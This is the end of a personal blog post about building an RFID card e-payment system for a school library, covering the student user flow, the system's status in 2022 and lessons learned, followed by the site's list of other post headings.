Students have the most exciting user flow of all.

And since they have an exciting flow, I'll describe it for fun:

Walk up to the school's library computer.
Shake the mouse to wake up the monitor.
Take out their student card from their wallets or pockets.
If they lost their card, contact ICT support. They may need to pay for a replacement and the previous balance would be lost. :(
Otherwise, they haven't lost it. So they place the card on top of the RFID reader.
Wait one second for the reader to scan the card.
Watch their card ID appear on the screen.
Absorb the details shown on a second page (card number, student ID, balance, whether the card is active).
Leave the site.

Exciting, right?

Current Status

It's been several years since the e-payment system was launched in the summer of 2019, and I hope it has proven useful during the Covid-19 pandemic as students and teachers can avoid spreading germs through cash transactions (coins and cash can be quite dirty!).

When I asked a student about it this year (2022), they said that the entire system was still up and running (a good sign!). Moreover, the school's ICT team has expanded it as a locking mechanism for student lockers. Hopefully it will become a reliable piece of technology and make the school environment safe, clean, and fast.

Takeaways

Spend some time researching the problem you're trying to solve and the possible solutions. You'll accrue less technical debt and thank yourself in the future.
Use a version control system for flexibility and to keep track of history.
Don't be afraid to try something new. The journey might just be worth it.

TrebledJ's Pages

When Hospitality Software is Too Hospitable (CVE-2026-21966, CVE-2026-21967)

Overview

Background

CVE-2026-21966: Reflected XSS and Sanitization Bypass

The Road to XSS

A More Robust Sanitization Bypass

CVE-2026-21967: SSRF and Credential Disclosure

Impact

CVE-2026-21966: Reflected XSS

CVE-2026-21967: SSRF and Credential Disclosure

Proof of Concept, Detection, and Remediations

Timeline

Acknowledgements

Sharing is Caring: Arbitrary Code Execution for Breakfast

The Challenge

C++ Internals Redux

What are shared pointers?

What are virtual tables?

What is an std::string?

Analysis

Initial Analysis

Type Confusion Primitives

Exploitation

Leaking the VTable

Arbitrary Memory Read!

Finding the Heap Address

Finding Congee's Address

Finding Congee's Address: Less Hacky Method

Arbitrary Code Execution (ACE) via Gadget Chains

PCOP / JOP

Approach 1: libstdc++ & One-Gadget

Approach 2: system("/bin/sh") Gadget Chain

Conclusion

Solve Script

Flag

Reverse Engineering a Siemens Programmable Logic Controller for Funs and Vulns (CVE-2024-54089, CVE-2024-54090 & CVE-2025-40757)

Background

Hidden in HTTP

Toying with Telnet

A Peek at Memory and Some Deja Vu

Taking a Trip Down Memory Lane

Loading Memory

libc: An Exercise in Reverse Engineering

A Note on RTOS

Uncovering the Encryption

BAC(net) to the Future

Let’s Recap

Mitigations

Acknowledgements

Output-Invariant and Time-Based Testing – Practical Techniques for Black-Box Enumeration of LLMs

Output-Invariant (Probe-Pair) Testing

Concept

Advantages

Limitations

Operational Security in LLM Red Teaming

Blind Prompt Injection

Time-Based Testing

Analysis

Inducing a Large Response

Limitations

What's next?

Detection and Mitigation

Conclusion

Further Research

Further Resources

tl;dr

5 Weekend Reads You Missed: BOOMlang v2, Blue Team Strikes Back, ET, CVSS 4.1, and DLLModules

BOOMlang v2.0 Released: The First Shockwave-Optimized Language

Blue Team Strikes Back, APT 404 Demands Justice

Extraterrestrial Technology (ET) Disrupts IT & OT — Aliens Demand Equity

CVSS 4.1: New "Personalisation Metrics" for Shame-Based Blame Attribution

DLLs Are So 2024: Tech Visionary Lee Sik Koo Declares War on ‘Legacy Code’ with Revolutionary DLLMs

Delay and Interactive Pause in Multi-Threaded Python

A Tale of Two Scripts

Basic Script

Fancy Script

The Magic

threading.Event

Handling Ctrl+C with signal

What is an `std::string`?

Approach 2: `system("/bin/sh")` Gadget Chain

Step 3: Use `markdown-it-attrs`

File Read/Write with `fstream`, `fopen`

File Read/Write with `open`, `read`

File Read/Write, RCE with `syscall`

File Read with `mmap`

Local File Inclusion with `#include`

Bypass Denylists with Macro Token Concatenation (`##`)

Init Section via `<%inc`

Escaping Function Scope with `<%c++` and `[[`